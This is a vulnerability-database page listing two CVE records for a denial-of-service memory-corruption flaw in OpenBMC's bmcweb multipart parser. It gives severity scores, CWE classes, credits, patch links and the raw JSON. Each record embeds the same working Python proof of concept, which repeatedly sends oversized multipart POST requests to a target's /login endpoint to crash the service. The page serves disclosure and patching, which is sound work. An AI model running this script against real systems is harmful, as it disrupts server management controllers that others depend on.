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    2 vulnerabilities

    CVE-2022-3409 (GCVE-0-2022-3409)

    Vulnerability from cvelistv5 – Published: 2022-10-27 13:09 – Updated: 2025-05-05 17:52
    VLAI
    Title
    Unauthenticated out of bounds stack write in bmcweb
    Summary
    A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
    Severity
    8.2 (High)
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
    SSVC
    Exploitation: none Automatable: yes Technical Impact: partial
    CISA Coordinator (v2.0.3)
    CWE
    • CWE-121 - Stack-based Buffer Overflow
    • CWE-229 - Improper Handling of Values
    Assigner
    References
    Impacted products
    Vendor Product Version
    OpenBMC Project OpenBMC Affected: 2.10 , < Release* (custom)
    		Create a notification for this product.
    Date Public
    2022-10-07 00:00
    Credits
    Finder: Jakub Rozanski, Intel Corporation Remediation: Krzysztof Grobelny, Intel Corporation
    Show details on NVD website
    To clipboard 

    {
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        "providerMetadata": {
          "dateUpdated": "2024-08-03T01:07:06.708Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/openbmc/bmcweb"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-3409",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-05T17:50:45.381401Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-05T17:52:19.453Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OpenBMC",
          "vendor": "OpenBMC Project",
          "versions": [
            {
              "changes": [
                {
                  "at": "2.13",
                  "status": "unaffected"
                }
              ],
              "lessThan": "Release*",
              "status": "affected",
              "version": "2.10",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Finder: Jakub Rozanski, Intel Corporation"
        },
        {
          "lang": "en",
          "value": "Remediation: Krzysztof Grobelny, Intel Corporation"
        }
      ],
      "datePublic": "2022-10-07T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n    while(True):\n        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n        client.connect((HOST, PORT))\n        toSend = payload % (str(length), additional)\n        print(toSend)\n        client.send(toSend.encode(\u0027utf-8\u0027))\n        print(client.recv(4096))\n        client.close()\n        time.sleep(0.01)\n        length += 1\n        additional += \"a\""
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-121",
              "description": "CWE-121: Stack-based Buffer Overflow",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-229",
              "description": "CWE-229: Improper Handling of Values",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-10-27T00:00:00.000Z",
        "orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
        "shortName": "OpenBMC"
      },
      "references": [
        {
          "url": "https://github.com/openbmc/bmcweb"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56868"
        }
      ],
      "source": {
        "discovery": "INTERNAL"
      },
      "title": "Unauthenticated out of bounds stack write in bmcweb",
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      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
    "assignerShortName": "OpenBMC",
    "cveId": "CVE-2022-3409",
    "datePublished": "2022-10-27T13:09:19.716Z",
    "dateReserved": "2022-10-06T00:00:00.000Z",
    "dateUpdated": "2025-05-05T17:52:19.453Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

    CVE-2022-2809 (GCVE-0-2022-2809)

    Vulnerability from cvelistv5 – Published: 2022-10-27 13:09 – Updated: 2025-05-05 20:20
    VLAI
    Title
    Unauthenticated out of bounds heap write in bmcweb
    Summary
    A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
    Severity
    8.2 (High)
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
    SSVC
    Exploitation: none Automatable: yes Technical Impact: partial
    CISA Coordinator (v2.0.3)
    CWE
    • CWE-229 - Improper Handling of Values
    • CWE-122 - Heap-based Buffer Overflow
    Assigner
    References
    Impacted products
    Vendor Product Version
    OpenBMC Project OpenBMC Affected: 2.10 , < Release* (custom)
    		Create a notification for this product.
    Date Public
    2022-10-07 00:00
    Credits
    Finder: Jakub Rozanski, Intel Corporation Remediation: Krzysztof Grobelny, Intel Corporation
    Show details on NVD website
    To clipboard 

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      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T00:52:59.125Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
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            "tags": [
              "x_transferred"
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            "url": "https://github.com/openbmc/bmcweb"
          }
        ],
        "title": "CVE Program Container"
      },
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        "metrics": [
          {
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              "content": {
                "id": "CVE-2022-2809",
                "options": [
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                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-05T20:20:05.867799Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-05T20:20:18.093Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OpenBMC",
          "vendor": "OpenBMC Project",
          "versions": [
            {
              "changes": [
                {
                  "at": "2.13",
                  "status": "unaffected"
                }
              ],
              "lessThan": "Release*",
              "status": "affected",
              "version": "2.10",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Finder: Jakub Rozanski, Intel Corporation"
        },
        {
          "lang": "en",
          "value": "Remediation: Krzysztof Grobelny, Intel Corporation"
        }
      ],
      "datePublic": "2022-10-07T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
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        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n    while(True):\n        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n        client.connect((HOST, PORT))\n        toSend = payload % (str(length), additional)\n        print(toSend)\n        client.send(toSend.encode(\u0027utf-8\u0027))\n        print(client.recv(4096))\n        client.close()\n        time.sleep(0.01)\n        length += 1\n        additional += \"a\""
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
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          "descriptions": [
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              "description": "CWE-229: Improper Handling of Values",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-122",
              "description": "CWE-122: Heap-based Buffer Overflow",
              "lang": "en",
              "type": "CWE"
            }
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        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-10-27T00:00:00.000Z",
        "orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
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      },
      "references": [
        {
          "url": "https://github.com/openbmc/bmcweb"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56796"
        }
      ],
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      }
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    "assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
    "assignerShortName": "OpenBMC",
    "cveId": "CVE-2022-2809",
    "datePublished": "2022-10-27T13:09:19.424Z",
    "dateReserved": "2022-08-13T00:00:00.000Z",
    "dateUpdated": "2025-05-05T20:20:18.093Z",
    "state": "PUBLISHED"
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}